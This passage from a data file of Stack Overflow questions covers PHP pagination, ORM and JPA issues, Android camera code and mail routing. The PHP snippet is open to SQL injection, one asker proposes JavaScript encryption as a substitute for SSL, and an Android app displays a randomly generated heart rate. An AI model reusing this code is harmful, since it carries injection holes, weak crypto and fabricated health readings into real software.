have\n\n", "[masterpage]\n\npublic string userId\n\n... set userId in masterpage\n\
n\n[child page]\n\nMaster.userId // userId will always be empty? \n", "asp.net
master-pages"], "4904757": ["Pagination Error", "Im trying to do pages for my
search result.My Search function is working fine. However, when I click on the page
number. This error appears (below) :\nNotice: Undefined index: search in C:\\wamp\\
www\\I-Document\\new.php on line 8\nERROR: Select from dropdown\nThis message only
should appear when there is no input in dropdown and no search input.\nIm not sure
how to correct this. Please help! Thank u\n\n", "<?php\n\n//connecting to the
database\ninclude 'config.php';\n\n\n$search =
mysql_escape_string($_POST['search']);\n\n$dropdown =
mysql_escape_string($_POST['dropdown']); \n\nif (empty($search) &&
empty($dropdown)) {\ndie(\"Please choose your Search Criteria\");\n } \n\n //max
displayed per page\n $per_page = 10;\n\n //get start variable \n $start =
$_GET['start'];\n\n //count records\n $record_count = mysql_query(\"SELECT
COUNT(*) FROM document WHERE $dropdown LIKE '%$search%'\");\n\n\n //count max
pages\n $max_pages = $record_count / $per_page; \n\n if (!$start)\n $start =
0;\n\n //display data\n $query = mysql_query(\"SELECT * \n
FROM document \n WHERE $dropdown LIKE '%$search%' \n
LIMIT $start, $per_page\");\n\n echo \"<b><center>Search
Result</center></b><br>\";\n\n $num=mysql_num_rows($query);\n\n if ($num==0)\
n echo \"No results found\";\n else {\n echo \"$num results found!
<p>\"; \n }\n\n echo \"You searched for <b>$search</b><br /><br /><hr
size='1'>\";\n echo \"<table border='1' width='600'>\n <th>File Reference
No.</th>\n <th>File Name</th>\n <th>Owner</th>\n
<th>Borrow</th>\n </tr>\";\n\n while ($rows = mysql_fetch_assoc($query)) {\n
echo \"<tr>\";\n echo \"<td>\". $rows['file_ref'] .\"</td>\";\n
echo \"<td>\". $rows['file_name'] .\"</td>\";\n echo \"<td>\".
$rows['owner'] .\"</td>\";\n echo \"<td><a href=add_borrower.php?id=\" .
$rows['id'] . \">Borrow</a></td>\";\n echo \"</tr>\";\n }\n\n echo
\"</table>\"; \n\n //setup prev and next variables\n $prev = $start - $per_page;\n
$next = $start + $per_page;\n\n //show prev button\n if (!($start<=0)) \n
echo \"<a href='new.php?start=$prev'>Prev</a> \";\n\n //show page numbers\n //set
variable for first page\n $i=1;\n\n for ($x=0;$x<$record_count;$x=$x+$per_page) {\n
if ($start!=$x)\n echo \" <a href='new.php?start=$x'>$i</a> \";\n else\n
echo \" <a href='new.php?start=$x'><b>$i</b></a> \";\n\n $i++;\n}\n}\n\n//show
next button\nif (!($start>=$record_count-$per_page))\n echo \" <a href='new.php?
start=$next'>Next</a>\";\n\n?>\n", "php mysql pagination"], "5563671": ["Web site
looks different after content db addition to a different farm", "I backed up a
content db from our production MOSS 2007 farm and then I added to an existing web
application to the recovery wss 3.0 farm. However after doing it, the root site
from the new db's site collection has a different appearance: there is just plain
html and none of the links will open. \nHere is a picture of the problem:\nWhat
could be causing this?\n\nEDIT: The following error is displayed while opening
a list/library on a page:\n\n", "It is an error to use a section registered as
allowDefinition='MachineToApplication'beyond application level. This error can be
caused by a virtual directory not being configured as an application in IIS.
(C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\12\\
template\\layouts\\web.config line 244)\n", "2007 wss-3.0 content-database"],
"4370698": ["Error with hilo in NHibernate - \"could not read a hi value - you need
to populate the table\"", "I've genereated a schema for my (SQL 2005) db using
SchemaExport, and it's created a table\n\nWhen I try to add an entity, I get the
error \"could not read a hi value - you need to populate the table\". What am I
meant to do?\nedit: I've inserted a 1 into the table, and it seems to work. Is this
the correct value to have in there?\n", "CREATE TABLE [dbo].[hibernate_unique_key]
(\n [next_hi] [int] NULL\n) ON [PRIMARY]\n", "nhibernate fluent-nhibernate
hilo"], "3913330": ["Performance issue importing 'large' amount of data from
webservice to MSSQL 2005", "I have a program that is used to replicate/mirror the
main tables (around 20) from Oracle to MSSQL 2005 via webservice (REST).\nThe
program periodically read XML data from the webservice and convert it to list via
jpa entity. This list of entity will store to MSSQL via JPA.\nAll jpa entity will
be provided by the team who create the webservice.\nThere are two issues that I
notice and seems unsolvable after some searching.\n1st issue: The performance of
inserting/updating via JDBC jpa is very slow, it takes around 0.1s per row... \
nDoing the same via C# -> datatable -> bulkinsert to new table in DB -> call stored
procedure to do mass insert / update base on joins takes 0.01 s for 4000 records.\
n(Each table will have around 500-5000 records every 5 minutes)\nBelow shows a
snapshot of the Java code that do the task-> persistent library -> EclipseLink
JPA2.0\n\nAnything done wrong causing the slowness? How can I improve the
insert/update speed?\n2nd issue: There are around 20 tables to replicate and I have
created the same number of methods similar to above, basically copying above method
20 times and replace EntityA with EntityB and so on, you get the idea...\nIs there
anyway to generalize the method such that I can throw in any entity?\n", "private
void GetEntityA(OurClient client, EntityManager em, DBWriter dbWriter){ \
n//code to log time and others\n List<EntityA> response =
client.findEntityA_XML();\n em.setFlushMode(FlushModeType.COMMIT);\n
em.getTransaction().begin();\n int count = 0;\n for (EntityA object : response)
{\n count++;\n em.merge(object);\n //Batch commit\n if (count % 1000 ==
0){\n try{\n em.getTransaction().commit();\n
em.getTransaction().begin();\n commitRecords = count;\n } catch
(Exception e) {\n em.getTransaction().rollback();\n }\n }\n }\n
try{\n em.getTransaction().commit();\n } catch (Exception e) {\n
em.getTransaction().rollback();\n }\n //dbWriter write log to DB\n}\n", "java
sql-server performance jpa"], "5586506": ["Sinatra Web Admin (like Django Admin)",
"Is there a way to get a Django Admin style web-admin for Sinatra?\n", "", "ruby
django django-admin sinatra"], "5086561": ["How to remove an entry from Chrome's
Remembered URLs?", "\nPossible Duplicate:\nDelete URL history in Google Chrome \n\
nI've got a url in Chrome \"local.mysite.com\" that autopopulates when I start
typing \"local.my\". \nThe URL I want is \"local.mysite.com/subdir/\". That URL is
like 3 down in the suggested results because I keep accidentally hitting \"enter\"
when it auto-suggests the unwanted first URL and thus re-enforcing it's assumption
that that is the one I want. \nHow do I get rid of the \"local.mysite.com\" entry
in Chrome's memory?\n", "", "google-chrome"], "2370564": ["Moving Joomla +
Virtuemart Installation", "I have simply downloaded my joomla+virtuemart files from
the server and the mysql file and set up a db, inserted the imported rows and
updated the config.php file in joomla.\nHowever, even after updating the
configuration.php when I open my joomla installation my site (on the actual webhost
opens up) as in example.com\nI wanted it to work on localhost/joomla (where the
downloaded files and modified configuaration resides).\nI also have DELETED
the .htaccess files to remove any redirections.\nI also updated the virtue mart
administratior/components/com_virtumart/virtuemark.cfg.php file's URL and secure
url variables.\nNo matter what I do, it still opens up the example.com site instead
of the localhost/joomla app directory\nAny help is much appreciated.\nRunning on
joomla 1.5.1\nI thought it might be DB related so I exported the data to a php file
through phpmyadmin and ran a check on example.com even on the sql file. But it
didn't show up any either\nCheers\nDileep\n", "", "joomla installation
virtuemart"], "3633150": ["Get reference to code-behind class instance from
IValueConverter", "I have this code:\n\nCode in XAML:\n\n's has some methods and
fields that I need to access from .\nHow can I get to it?\n", "namespace Test\n{\n
public partial class SearchField : UserControl\n {\n public
SearchStrategy Strategy { get; set; }\n public SearchField()
{ InitializeComponent(); }\n }\n\n public class TextToTipConverter :
IValueConverter\n {\n public object Convert(object value, Type
targetType,\n object parameter, CultureInfo culture)\n {\n
SearchStrategy Strategy = // How do I get reference to SearchField.Strategy from
here?\n\n return Strategy.parseInput<string> (value.ToString(), (first,
inp) => Strategy.tipMap.ContainsKey(first) && inp.Length == 1 ? first +
Strategy.tipMap[first] : \"\", AppResources.GeneralSearchTip);\n }\n\n
public object ConvertBack(object value, Type targetType,\n object
parameter, CultureInfo culture)\n {\n throw new
NotImplementedException();\n }\n }\n}\n", "c# reference code-behind
windows-phone-8"], "5581366": ["Two-way password encryption without ssl", "I am
using the basic-auth twitter API (no longer available) to integrate twitter with my
blog's commenting system. The problem with this and many other web APIs out there
is that they require the user's username and password to do anything useful. I
don't want to deal with the hassle and cost of installing a SSL certificate, but I
also don't want passwords passed over the wire in clear text.\nI guess my general
question is: How can I send sensitive data over an insecure channel?\nThis is my
current solution and I'd like to know if there are any holes in it:\n\nGenerate a
random key on the server (I'm using php).\nSave the key in a session and also
output the key in a javascript variable.\nOn form submit, use Triple DES in
javascript with the key to encrypt the password.\nOn the server, decrypt the
password using the key from the session and then destroy the session.\n\nThe end
result is that only the encrypted password is sent over the wire and the key is
only used once and never sent with the password. Problem solved?\n", "",
"javascript security encryption passwords"], "2829847": ["Why camera doesn't fetch
parameters when it moves to more light area?", "I developed an application to
generate graph by tapping finger to the back camera and fetching parameters from
camera preview. Whenever the device is in dark location it works fine and when it
moves to more lighter area it doesn't work. Any help please where I might be doing
mistake in this application?No error in Log cat! My code:\n\n", "public class Graph
extends Activity implements OnClickListener {\n\n //Declaring Objects\n
Context cnt;\n Callback c;\n boolean mFinished;\n DrawMyGraph g;\n
ImageView clock,graph_Text,heartBlink_View,graph_View;\n static long startTime =
0;\n static int beats = 0;\n volatile boolean show=false;\n SurfaceHolder
sh;\n SurfaceView sv;\n TextView bpmText_View,showBpm_View,time_View;\n
Button on,off;\n int no,count=0,time=29;\n MediaPlayer mp=new MediaPlayer();\
n TelephonyManager graph_Call;\n Camera mCamera = Camera.open();\n Intent
i;\n AnimationDrawable heart_Anim=new AnimationDrawable();\n
AnimationDrawable clock_Anim=new AnimationDrawable();\n @Override\n public
void onCreate(Bundle savedInstanceState) {\n
super.onCreate(savedInstanceState);\n setContentView(R.layout.graph);\n\n
//Creating Object's Ids\n
bpmText_View=(TextView)findViewById(R.id.bpmtextview);\n
showBpm_View=(TextView)findViewById(R.id.showfinalbpmview);\n
time_View=(TextView)findViewById(R.id.timeview);\n
sv=(SurfaceView)findViewById(R.id.surfaceView);\n
//clock=(ImageView)findViewById(R.id.clock);\n
graph_Text=(ImageView)findViewById(R.id.slideView);\n
heartBlink_View=(ImageView)findViewById(R.id.heartblinkview);\n
graph_View=(ImageView)findViewById(R.id.graphview);\n
graph_Text.setBackgroundResource(R.drawable.graphtext2);\n
on=(Button)findViewById(R.id.on);\n off=(Button)findViewById(R.id.off);\n
bpmText_View.bringToFront();\n\n\n //For designing Fonts Of TextView\n
Typeface typeface=Typeface.createFromAsset(getAssets(), \"fonts/digital-7.ttf\");\n
time_View.setTypeface(typeface);\n time_View.setText(\"30\");\n\n
//Calling TelephonyManager\n graph_Call = (TelephonyManager)
getSystemService(TELEPHONY_SERVICE);\n graph_Call.listen(GraphListener,
PhoneStateListener.LISTEN_CALL_STATE);\n\n
getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);\n\n
off.getBackground().setAlpha(200);\n on.getBackground().setAlpha(75);\n
on.setEnabled(false);\n
off.setOnClickListener(this);\n g = new DrawMyGraph(this, 25);\n
addContentView(g, new LayoutParams(LayoutParams.MATCH_PARENT,\n
LayoutParams.MATCH_PARENT));\n startCamPreview();\n\n }\n\n //Writing
button Event for Off Button\n @Override\n public void onClick(View v)
{\n // TODO Auto-generated method stub\n timer.cancel();\n
off.getBackground().setAlpha(75);\n on.getBackground().setAlpha(200);\n
mCamera.stopPreview();\n\n mp.release();\n\n i=new
Intent(Graph.this,RealTime.class).putExtra(\"REALTIME\", \"off\");\n
startActivity(i);\n finish();\n }\n\n public void
startCamPreview() {\n SurfaceView sv = (SurfaceView)
findViewById(R.id.surfaceView);\n final SurfaceHolder sh = sv.getHolder();\n
//Starting camera Preview\n\n try {\n
mCamera.setPreviewDisplay(sh);\n } catch (IOException e) {\n //
TODO Auto-generated catch block\n e.printStackTrace();\n }\n
sh.addCallback(new Callback() {\n\n @Override\n public void
surfaceDestroyed(SurfaceHolder holder) {\n // TODO Auto-generated
method stub\n System.out.println(\"Deleted\");\n
mCamera.stopPreview();\n try {\n
mCamera.setPreviewDisplay(null);\n } catch (IOException e) {\n
// TODO Auto-generated catch block\n e.printStackTrace();\n
} \n\n\n mCamera.release();\n mCamera = null;\n
}\n\n @Override\n public void surfaceCreated(SurfaceHolder
holder) {\n System.out.println(\"Created\");\n
timer.start();\n mCamera.setPreviewCallback(new PreviewCallback() {\
n public void onPreviewFrame(byte[] data, Camera camera) {\n\n
Camera.Parameters params = camera.getParameters();\n\n int
width = params.getPreviewSize().width;\n int height =
params.getPreviewSize().height;\n byte[] mYUVData = new
byte[data.length];\n int[] mRGBData = new int[width *
height];\n System.arraycopy(data, 0, mYUVData, 0,
data.length);\n decodeYUV420SP(mRGBData, mYUVData, width,
height);\n int[] mRedHistogram = new int[256];\n
calculateIntensityHistogram(mRGBData, mRedHistogram,\n
width, height, 0);\n double imageRedMean = 0;\n
double redHistogramSum = 0;\n for (int bin = 0; bin < 256;
bin++) {\n imageRedMean += mRedHistogram[bin] * bin;\n
redHistogramSum += mRedHistogram[bin];\n } // bin\n
imageRedMean /= redHistogramSum;\n double[] mBinSquared;\n
mBinSquared = new double[256];\n for (int bin = 0; bin <
256; bin++) {\n mBinSquared[bin] = ((double) bin) *
bin;\n }\n double imageRed2ndMoment =
0;\n for (int bin = 0; bin < 256; bin++) {\n
imageRed2ndMoment += mRedHistogram[bin]\n *
mBinSquared[bin];\n } // bin\n
imageRed2ndMoment /= redHistogramSum;\n double
imageRedStdDev = Math.sqrt((imageRed2ndMoment\n -
imageRedMean * imageRedMean));\n int val = (new
Double(imageRedStdDev * 100000)\n .intValue());\n\n\
n\n for (int l = 0; l < 1; l++) {\n\n
}\n int yVal=250;\n if
(imageRedStdDev < 15 && val != 0)\n {\n\n
//mp.release();\n if(time>=0){\n
time_View.setText(String.valueOf(time));\n --time;\n
}\n\n mp=MediaPlayer.create(getApplicationContext(),
R.raw.heartbeat1);\n try {\n
mp.prepare();\n } catch (IllegalStateException e) {\n
// TODO Auto-generated catch block\n
e.printStackTrace();\n } catch (IOException e) {\n
// TODO Auto-generated catch block\n
e.printStackTrace();\n }\n
mp.start();\n\n\n show=true;\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
float flt=(float)Math.random();\n
g.addPoint(yVal+flt*25);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n flt=(float)Math.random();\n
g.addPoint(yVal-flt*20);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n flt=(float)Math.random();\n
g.addPoint(yVal-flt*30);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n flt=(float)Math.random();\n
g.addPoint(yVal+flt*35);\n g.addPoint(yVal-flt*30);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n\n
//mp.setLooping(true);\n Random r=new Random();\n
no=r.nextInt(84-70)+70;\n
bpmText_View.setText(String.valueOf(no));\n\n\n try {\n
Thread.sleep(700);\n mp.release();\n
} catch (InterruptedException e) {\n // TODO Auto-
generated catch block\n e.printStackTrace();\n
}\n\n\n\n\n } else {\n
show=false;\n if(val==0){\n\n
time_View.setText(String.valueOf(time));\n --time;\n
count++;\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n mp.release();\n
mp=MediaPlayer.create(getApplicationContext(), R.raw.beep);\n
bpmText_View.setText(String.valueOf(0));\n try {\n
mp.prepare();\n } catch (IllegalStateException e) {\
n // TODO Auto-generated catch block\n
e.printStackTrace();\n } catch (IOException e) {\n
// TODO Auto-generated catch block\n
e.printStackTrace();\n }\n
mp.start();\n try {\n
Thread.sleep(700);\n } catch (InterruptedException
e) {\n // TODO Auto-generated catch block\n
e.printStackTrace();\n }\n\n
}\n else{\n mp.release();\n
time_View.setText(String.valueOf(time));\n --time;\n
count++;\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n g.addPoint(yVal);\n
g.addPoint(yVal);\n
mp=MediaPlayer.create(getApplicationContext(), R.raw.beep);\n
bpmText_View.setText(String.valueOf(0));\n
try {\n mp.prepare();\n
} catch (IllegalStateException e) {\n // TODO Auto-
generated catch block\n e.printStackTrace();\n
} catch (IOException e) {\n // TODO Auto-generated
catch block\n e.printStackTrace();\n
}\n mp.start();\n try {\n
Thread.sleep(800);\n } catch (InterruptedException e) {\
n // TODO Auto-generated catch block\n
e.printStackTrace();\n }\n\n\n\n
}\n }\n }\n\n });\n
}\n\n @Override\n public void surfaceChanged(SurfaceHolder
holder, int format,\n int width, int height) {\n
System.out.println(\"Changed\");\n Camera.Parameters parameters =
mCamera.getParameters();\n parameters.setPreviewSize(320, 240);\n
parameters.setPreviewFrameRate(15);\n
parameters.setSceneMode(Camera.Parameters.SCENE_MODE_NIGHT);\n
parameters.setFocusMode(Camera.Parameters.FOCUS_MODE_AUTO);\n
mCamera.setParameters(parameters);\n mCamera.startPreview();\n
g.invalidate();\n }\n });\n\n }\n\n static public void
decodeYUV420SP(int[] rgb, byte[] yuv420sp, int width,\n int height) {\n
final int frameSize = width * height;\n\n for (int j = 0, yp = 0; j <
height; j++) {\n int uvp = frameSize + (j >> 1) * width, u = 0, v = 0;\n
for (int i = 0; i < width; i++, yp++) {\n int y = (0xff & ((int)
yuv420sp[yp])) - 16;\n if (y < 0)\n y = 0;\n
if ((i & 1) == 0) {\n v = (0xff & yuv420sp[uvp++]) - 128;\n
u = (0xff & yuv420sp[uvp++]) - 128;\n }\n\n int y1192
= 1192 * y;\n int r = (y1192 + 1634 * v);\n int g =
(y1192 - 833 * v - 400 * u);\n int b = (y1192 + 2066 * u);\n\n
if (r < 0)\n r = 0;\n else if (r > 262143)\n
r = 262143;\n if (g < 0)\n g = 0;\n
else if (g > 262143)\n g = 262143;\n if (b < 0)\n
b = 0;\n else if (b > 262143)\n b = 262143;\n\n
rgb[yp] = 0xff000000 | ((r << 6) & 0xff0000)\n | ((g >> 2) &
0xff00) | ((b >> 10) & 0xff);\n }\n }\n }\n\n static public
void calculateIntensityHistogram(int[] rgb, int[] histogram,\n int
width, int height, int component) {\n for (int bin = 0; bin < 256; bin++) {\
n histogram[bin] = 0;\n } // bin\n if (component == 0) //
red\n {\n for (int pix = 0; pix < width * height; pix += 3) {\n
int pixVal = (rgb[pix] >> 16) & 0xff;\n histogram[pixVal]++;\n
} // pix\n } else if (component == 1) // green\n {\n for
(int pix = 0; pix < width * height; pix += 3) {\n int pixVal =
(rgb[pix] >> 8) & 0xff;\n histogram[pixVal]++;\n } //
pix\n } else // blue\n {\n for (int pix = 0; pix < width *
height; pix += 3) {\n int pixVal = rgb[pix] & 0xff;\n
histogram[pixVal]++;\n } // pix\n\n\n }\n }\n\n public void
onWindowFocusChanged(boolean hasFocus) {\n
super.onWindowFocusChanged(hasFocus);\n\n synchronized
(ACCESSIBILITY_SERVICE) {\n
heartBlink_View.setBackgroundResource(R.anim.heartblinkanim);\n
heart_Anim=(AnimationDrawable)heartBlink_View.getBackground();\n\n
heart_Anim.start();\n\n }\n\n }\n\n CountDownTimer timer=new
CountDownTimer(30000,1000){\n\n @Override\n public void
onFinish()throws NullPointerException {\n // TODO Auto-generated method
stub\n\n mp.release();\n mCamera.stopPreview();\n
Canvas.freeGlCaches();\n\n if(count>0)\n {\n\n
i=new Intent(Graph.this,RealTime.class).putExtra(\"REALTIME\", \"zerobpm\");\n
startActivity(i);\n finish();\n }\n else\n
{\n System.out.println(count); \n i=new
Intent(Graph.this,RealTime.class).putExtra(\"REALTIME\", \"validbpm\");\n
startActivity(i);\n finish();\n }\n }\n\n
@Override\n public void onTick(long arg0) {\n // TODO Auto-
generated method stub\n\n }\n\n };\n\n //Code For DrawMyGraph\n\n
class DrawMyGraph extends View {\n public LinkedList<Float> yValues = null;\
n private int size = 0;\n private LinkedList<Integer> xValues =
null;\n private LinkedList<Long> beatList = new LinkedList<Long>();\n\n
public DrawMyGraph(Context context, int size) {\n super(context);\n
yValues = new LinkedList<Float>();\n int inc = 5;\n this.size
= size * inc;\n xValues = new LinkedList<Integer>();\n\n int
cnt = 468;\n for (int i = 0; i < this.size * inc; i++) {\n
xValues.add(cnt);\n cnt = cnt - (inc - 2);\n }\
n }\n\n @Override\n protected void onDraw(Canvas canvas) {\n\n
Paint paint = new Paint(Paint.ANTI_ALIAS_FLAG);\n
paint.setStyle(Paint.Style.STROKE);\n paint.setStrokeWidth(2);\n
paint.setColor(Color.BLACK);\n invalidate();\n\n for (int i =
0, j = 1; i < yValues.size() && j < yValues.size(); i++, j++) {\n\n\n
canvas.drawLine(xValues.get(i)-40 , (yValues.get(i) -64)*2,\n
xValues.get(j)-40 , (yValues.get(j) -64)*2, paint);\n\n\n\n\n }\n
super.onDraw(canvas);\n }\n\n public int getSize() {\n return
size;\n }\n\n public void addPoint(float p) {\n if
(yValues.size() > size) {\n yValues.removeLast();\n }\n
yValues.addFirst(p);\n }\n\n public void addBeat(long beat) {\n
beatList.add(beat);\n }\n\n }\n\n @Override\n public void
onBackPressed() {\n // TODO Auto-generated method stub\n
super.onBackPressed();\n timer.cancel();\n
mCamera.stopPreview();\n heart_Anim.stop();\n //Calling Home
Page\n startActivity(new Intent(Graph.this,Home.class));\n
mp.release();\n finish();\n }\n\n ////Handling phone states\n
private PhoneStateListener GraphListener = new PhoneStateListener() {\n
public void onCallStateChanged(int state, String incomingNumber) {\n
try {\n switch (state) {\n case
TelephonyManager.CALL_STATE_RINGING:\n //
Toast.makeText(Graph.this, \"CALL_STATE_RINGING\", Toast.LENGTH_SHORT).show();\n
mp.pause();\n break;\n case
TelephonyManager.CALL_STATE_OFFHOOK:\n //
Toast.makeText(Graph.this, \"CALL_STATE_OFFHOOK\", Toast.LENGTH_SHORT).show();\n
mp.pause();\n break;\n case
TelephonyManager.CALL_STATE_IDLE:\n //
Toast.makeText(Graph.this, \"CALL_STATE_IDLE\", Toast.LENGTH_SHORT).show();\n
mp.start();\n break;\n default:\n
// Toast.makeText(Graph.this, \"default\", Toast.LENGTH_SHORT).show();\n\n
}\n } catch (Exception e) {\n\n }\n
}\n }; \n\n\n}\n", "android"], "1218294": ["Algorithm and data
structure book for beginner?", "I have googled and I have seen the content about
the books I found.\n\"Introduction to Algorithms\"--I think it's too hard for me
because the math in the book is too difficult.\n\"Data Structures and Algorithms in
C++\"--I've read about 80 pages and I found it's too difficult.\n\"Teach yourself
data structure and algorithm in 24 hours\"--It missed many topics I want to learn.
(ex. DP...)\nI am just a beginner.\nIs there any book written in more simple ways
and doesn't have so much about difficult math.\nThe every topic in book the can
finish a complete small program, like the examples in C++ Primer Plus(not just
fragments of codes and I don't know how to use or check my code is right or not) or
solve a problem in UVa.\nI want a book that just simply introduce the data
structures or algorithms and can teach me how to implement or finish a little
object(like mice in maze).\nSorry for my bad English.\nThanks.\n", "", "c++
algorithm data books structure"], "590608": ["R filter() dealing with NAs", "I am
trying too implement chebyshev filter to smooth a time series, but unfortunately,
there are NAs in the data series. \nFor example,\n\nI am using chebyshev filter: \
nI am trying to filter the time series exclude NAs, but not mess up the
orders/position. So, I have already tried , but it seems there's no such argument.\
nThen \n\nThank you guys.\n",
"t <- seq(0, 1, len = 100) \nx <- c(sin(2*pi*t*2.3) +
0.25*rnorm(length(t)),NA, cos(2*pi*t*2.3) + 0.25*rnorm(length(t)))\n", "r filter
signals time-series na"], "2032805": ["setting a default property in maven3.
Possible?", "Is it possible to set a default property in maven3. I can fetch the
CATALINA_HOME from bash by following\n\nBut if the variable is not set and I run
the evaluate expression command I get null object\n! mvn
org.apache.maven.plugins:maven-help-plugin:2.1.1:evaluate -
Dexpression=cargo.tomcat.home\n\nI would be interested in setting a default
$CATALINA_HOME. I don't mind using another plugin but vanilla maven3 would be best.
So what i am looking for \n\n", " <properties>\n <cargo.tomcat.home>$
{env.CATALINA_HOME}</cargo.tomcat.home> \n </properties>\n", "java maven maven-
plugin maven-3"], "450737": ["What can I do while I wait for the TeamCity Git
plugin to get pre-tested commit support?", "I'm brand new to CI. I want to submit
my code changes to TeamCity and have it run all the tests and, if they pass, commit
to source. However, I use Git and it looks like the Git plugin doesn't have
support for pre-tested commits or personal builds yet.\nIf you use Git and
TeamCity, how do you deal with this?\n", "", "git teamcity"], "5139053": ["Rally:
identify stories moved in or out", "Is there a way to get a list of User Stories
that have been moved In or Out in a sprint? \nThe only way I can identify it at
present is by querying Revisions. I can't figure out a method to get the UserStory
ObjectID or FormattedID as I can't traverse the Objects or do queries upon
RevisionHistory.\n", "", "query scrum rally stories"], "6003292": ["Postfix
Conditional MX Forwarding", "So here's the problem.\n\"Someguy\" wants to transfer
his domain and website to me so I can take care of it. But Someguy's primary email
address is \"[email protected]\". If he transfers thatsite.com's DNS to me, the
emails will no longer get to his provider.\nI could just set the MX records for
thatsite.com to point back to his email provider so he would keep getting his
email, but then I couldn't have an email at thatsite.com.\nWhat I need to do is
configure Postfix so it sends only emails addressed to [email protected] back to
his provider's mail servers.\n", "", "linux dns email postfix"], "5001723": ["Hide
or remove map annotations based on colour", "I have a map loaded with pins of the 3
standard colours. These pins get coloured based on a value in an xml that is parsed
and stored into an array.\nI would like to add a segmented control with 2 buttons:\
nButton 1 to show only Green Pins.\nand Button 2 to show only Red and Purple pins.\
nI have read about adding 3 different arrays for each pin colour and removing the
array of pins but I want to maintain the one array. How would I do this if
possible. I know how to implement a segmented control but I stumped on how to
filter them on or off.\nHeres my for loop: That creates the pins and assigns the 3
colours which works fine.\n\nand heres my segmented control\n\n}\n", "//Count the
array of annotations and add them dynamically to the map.\nfor (int i = 0; i <
locationArray.count; i++) {\n myAnnotation =[[MyAnnotation alloc] init];\n\n
NSString *latString = [[locationArray objectAtIndex:i]xmlLat];\n NSString
*lonString = [[locationArray objectAtIndex:i]xmlLon];\n\n type = [[locationArray
objectAtIndex:i]xmlType];\n imageId = [[locationArray
objectAtIndex:i]xmlImageId];\n address = [[locationArray
objectAtIndex:i]xmlAddress];\n email = [[locationArray
objectAtIndex:i]xmlEmail];\n phone = [[locationArray objectAtIndex:i]xmlPhone];\
n live = [[locationArray objectAtIndex:i]xmlLive];\n form = [[locationArray
objectAtIndex:i]xmlForm];\n name = [[locationArray objectAtIndex:i]xmlName];\n\n
//Change the 0 to Active ticket and 1 to Closed 2 to False and 3 to Not Found and 4
to Other\n if ([live isEqualToString:@\"0\"]) {\n live = @\"Active\";\n
}\n\n else if ([live isEqualToString:@\"1\"]){\n live = @\"Closed\";\n
}\n\n else if([live isEqualToString:@\"2\"]){\n live = @\"False\";\n\n
}\n\n else if ([live isEqualToString:@\"3\"]){\n live = @\"Not Found\";\
n\n }\n\n else if ([live isEqualToString:@\"4\"]){\n live =
@\"Other\";\n }\n\n\n double theLatitude = [latString doubleValue];\n
double theLongtitude = [lonString doubleValue];\n\n
userLocation.latitude=theLatitude;\n userLocation.longitude=theLongtitude;\n\n
myAnnotation.coordinate=userLocation;\n myAnnotation.title=[NSString
stringWithFormat:@\"%@\", imageId];\n myAnnotation.subtitle=[NSString
stringWithFormat:@\"%@\", type];\n\n\n //Setting pin colours here based on value
from XML\n if ([live isEqualToString:@\"Active\"]){\n
myAnnotation.pinColor = MKPinAnnotationColorGreen;\n }else if ([live
isEqualToString:@\"Closed\"]){\n myAnnotation.pinColor =
MKPinAnnotationColorRed;\n }\n else if ([live isEqualToString:@\"Not
Found\"]){\n myAnnotation.pinColor = MKPinAnnotationColorPurple;\n }\n
[incidentsMap addAnnotation:myAnnotation];\n\n }\n", "ios annotations mapkit
mkannotation mkannotationview"], "1625710": ["Create a DataContext and provide an
API Key", "i need some help with the following:\ni have a wcf data service with
some api authorization mechanism.\nthat works, if i enter the service url in the
browser. it validates the api key and gives me data.\nin another project, i added
the service url as a service reference and like to instanciate a EntityFramework
DataContext object, but what i wanted was, that the given URI to the constructor of
that DataContext needs to have an api-key in there.\nif i try to pass that api key
as a query-parameter, i get an error: \"Expected an absolute, well formed http URL
without a query or fragment.\" \nok that message points out clearly what i did
wrong, but how can i get the apiKey included?\ngreets,\nchris\n", "", "entity-
framework api-key wcf-data-services"], "4427249": ["How can developers let business
users define application logic?", "I'm working on a new application at work, and a
manager is really pushing the concept of a business rules management system (BRMS)
and a workflow management system, and I'm trying to figure out the best way of
integrating these types of tools.\nWith regard to these types of systems, I don't
know what I don't know, so I'm trying to get other perspectives and information.\
nThe thing the manager is looking for is the ability for business users to change
business rules or process flows without the need for developer time (or with
minimal developer time).\nA BRMS is easier for me to understand when I think about
how it would fit into code. It's pretty straightforward, and I can see how the
logic could reside completely outside of an application. Since I haven't done much
with these types of systems, I would appreciate any info on good products that
integrate with .NET, or info on experiences. (We're looking at InRule, Blaze
Advisor and ILOG Rules)\nWhat I'm less sure of is the workflow part.\nWorkflow
Foundation makes sense to me, as it's a known, defined workflow that's integrated
into application code, but the manager isn't looking for a foundation, he wants a
tool that lets business users define and update workflows. Any type of system that
allows end users to dynamically create workflows makes less sense to me.\nI was
asked to look at WorkflowGen as an example of a workflow engine. To me, it looks
like it's completely self-contained unless a developer writes .NET code to
interface with back-end systems.\nI can understand a workflow system that allows
users to define specific, limited actions, like \"e-mail so and so\" and \"require
so and so to approve,\" but I have no idea how a workflow system that's supposed to
dynamically define application flow can be integrated in to an application, or even
how the more simplistic system I just described can display and update back-end
data.\nI'm pushing for use cases so I can better understand what my manger is
looking for in terms of moving these types of logic outside of application code,
but in the meantime, I'd appreciate any info anyone has on these types of systems.
As I said, I don't know what I don't know, and our business users seem to think our
new application should support these types of tools. I want to make sure I'm
limiting our functionality due to my lack of knowledge.\nThanks for any information
or advice.\n", "", "dynamic workflow business-logic business-rules"], "908243":
